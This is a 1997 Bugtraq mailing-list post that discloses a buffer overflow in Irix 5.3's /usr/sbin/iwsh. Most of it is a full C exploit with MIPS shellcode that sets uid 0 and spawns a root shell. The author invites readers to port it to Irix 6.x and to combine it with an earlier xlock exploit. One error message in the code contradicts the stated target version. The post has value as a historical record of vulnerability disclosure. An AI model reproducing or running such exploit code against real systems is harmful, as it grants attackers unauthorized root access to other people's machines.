Buffer overflow in /usr/sbin/iwsh for Irix 5.3

Date: Tue, 27 May 1997 02:19:29 +0100
From: David Hedley <hedley@CS.BRIS.AC.UK>
To: BUGTRAQ@NETSPACE.ORG
Subject: one last one for this evening...

OK, in case all you Irix 5.3 people have been feeling sad at those
6.x-only exploits, here's one especially for you. It's a buffer overflow
(quelle surprise!), this time in /usr/sbin/iwsh. Irix 6.x also has the
same buffer overflow, but iwsh has changed significantly since 5.3 and
hence this exploit won't work on it. Students with nothing better to do
with their time can modify it appropriately.....

Astute people will notice an extra 3 machine code instructions in the
shell code. They just do a 'setuid(0)' because iwsh leaves you with
uid=0,euid=youruserid and ideally you would have euid=0. Brave souls can
integrate this into the xlock exploit I posted earlier which has the
same problem.

Time for bed now. More tomorrow!

Regards,

David
--
 David Hedley (hedley@cs.bris.ac.uk)
 finger hedley@cs.bris.ac.uk for PGP key
 Computer Graphics Group | University of Bristol | UK

-------------------- cut here --------------------------------------

/* /usr/sbin/iwsh.c exploit by DCRH 27/5/97
 *
 * Tested on: R3000 Indigo (Irix 5.3)
 *            R4400 Indy   (Irix 5.3)
 *
 * Irix 5.x only
 *
 * compile as: cc iwsh.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES   500
#define BUF_LENGTH      500
#define EXTRA           9000
#define OFFSET          0x180
#define GP_OFFSET       -0x80
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x03bd202a,         /* sgt $4,$sp,$sp       */
    0x240203ff,         /* li $v0,1023          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x23e40138,         /* addi $4,$31,264+48   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack, tmp;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    if (stack & 0x80000000) {
        printf("Recompile with the '-32' option\n");
        exit(1);
    }

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
        targ_addr += atoi(argv[1]) * 4;

    if (targ_addr + GP_OFFSET > 0x80000000) {
        printf("Sorry - this exploit for Irix 6.x only\n");
        exit(1);
    }

    tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

    while ((tmp & 0xff000000) == 0 ||
           (tmp & 0x00ff0000) == 0 ||
           (tmp & 0x0000ff00) == 0 ||
           (tmp & 0x000000ff) == 0)
        tmp += 4;

    for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
        *long_p++ = targ_addr;
        *long_p++ = targ_addr;
        *long_p++ = tmp;
        *long_p++ = tmp;
    }

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (tmp >> 8) | (tmp << 24);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/usr/sbin/iwsh", "iwsh", "-xrm", &buf[2], 0, env);
    perror("execl failed");
}